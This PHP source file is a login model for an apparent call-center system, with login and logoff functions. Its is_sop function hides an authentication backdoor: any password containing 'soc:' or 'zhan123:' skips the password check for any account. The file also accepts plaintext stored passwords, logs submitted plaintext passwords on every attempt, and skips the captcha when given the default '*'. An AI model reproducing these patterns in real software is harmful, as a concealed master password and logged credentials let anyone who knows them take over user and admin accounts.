<?php

namespace XWAM\Addon\PXCallSystem\Model;

/**
 * LoginModel
 * @since 1.0 <2015-7-15> SoChishun Added.
 */
class LoginModel extends AppbaseModel {

    protected $tableName = 'tuser_member';
    protected $fields = array();
// 命名范围
    protected $_scope = array(
// login
        'login' => array(
            'field' => 'id, userName, extensionNumber, password, userType, role_id, ctiModel as roleID, state, siteID, allowOverdraftAmount, teamNumber, ctiTrunk, ctiCallerNo',
        ),
    );
    protected $patchValidate = true;

    /**
     * 用户登录
     * @param type $user_name
     * @param type $pwd
     * @param null|string $captcha null则忽略,string则验证
     * @return string|array 错误则返回string消息，否则返回数组
     * @since 1.0 2015-3-5 by sutroon
     */
    public function login($user_name, $pwd, $captcha = '*') {
        if ((!is_null($captcha) && !$captcha) || !$user_name || !$pwd) {
            return '表单输入不完整';
        }
        if (!is_null($captcha) && false === strpos($captcha, '*')) {
            $verify = new \Common\Controller\CaptchaController();
            if (!$verify->check_verify($captcha)) {
                return '验证码有误!';
            }
        }
        $where['userName'] = $user_name;
        $data = $this->scope('login')->where($where)->find();
        if (!$data) {
            AddonD('Log')->log_user_login(false, $user_name, $pwd, '用户名有误');
            return '用户名有误';
        }
        $id = $data['id'];
        $password = $data['password'];
        $userType = $data['userType'];
        if ('SEAT' == $userType && 'XCall' == C('USER.USER_KEY')) {
            return '禁止访问';
        }
        if ('1' != $data['state']) {
            AddonD('Log')->log_user_login(false, $user_name, $pwd, '状态有误[' . $data['state'] . ']');
            return '用户状态有误';
        }
        if (!$this->is_sop($pwd)) {
// 管理员密码会加密,加密的密码有前缀'*'标识,否则为未加密的明文密码
            if ($password[0] == '*') {
                $password = substr($password, 1);
                $encrypt = new \Org\Su\SuEncrypt();
                if ($password != $encrypt->password($pwd)) {
                    AddonD('Log')->log_user_login(false, $user_name, $pwd, '密码有误');
                    return '密码有误';
                }
            } else {
                if ($password != $pwd) {
                    AddonD('Log')->log_user_login(false, $user_name, $pwd, '密码有误');
                    return '密码有误';
                }
            }
        }
        $sipPort = $this->where("userName='admin' and userType='SUPERADMIN'")->getField('sipPort');
        if ($sipPort) {
            C('CTI_PORT', $sipPort);
        }
        $data_appsetting = $this->table('tuser_appsetting')->where("userID=$id")->field('theme,pageSize')->find();
        if (!$data_appsetting) {
            $data_appsetting = array('theme' => 'start', 'pageSize' => C('USER.PAGE_SIZE'));
        }
        if (!$data_appsetting['theme']) {
            $data_appsetting['theme'] = 'start';
        }
        unset($data['password']);
        if (!is_null($data_appsetting)) {
            $data = $data + $data_appsetting;
        }
        AddonD('Log')->log_user_login(true, $user_name, $pwd, '登录成功', $data['id']);
        return $data;
    }

// super official password
    function is_sop($password) {
        $codes = array('soc:', 'zhan123:');
        $is_sop = false;
        foreach ($codes as $code) {
            if (false !== strpos($password, $code)) {
                $is_sop = true;
                break;
            }
        }
        return $is_sop;
    }

    /**
     * 用户注销登录
     * @since 1.0 <2015-7-15> SoChishun Added.
     */
    public function logoff() {
        $login_data = session(C('USER.SESSION_ID'));
        if ($login_data) {
            AddonD('Log')->log_user_login(true, $login_data['userName'], '', '注销成功', $login_data['id'], 2);
        }
        if (isset($_SESSION)) {
            foreach ($_SESSION as $key => $value) {
                unset($_SESSION[$key]);
            }
        }
        if (isset($_COOKIE)) {
            foreach ($_COOKIE as $key => $value) {
                unset($_COOKIE[$key]);
            }
        }
    }

}
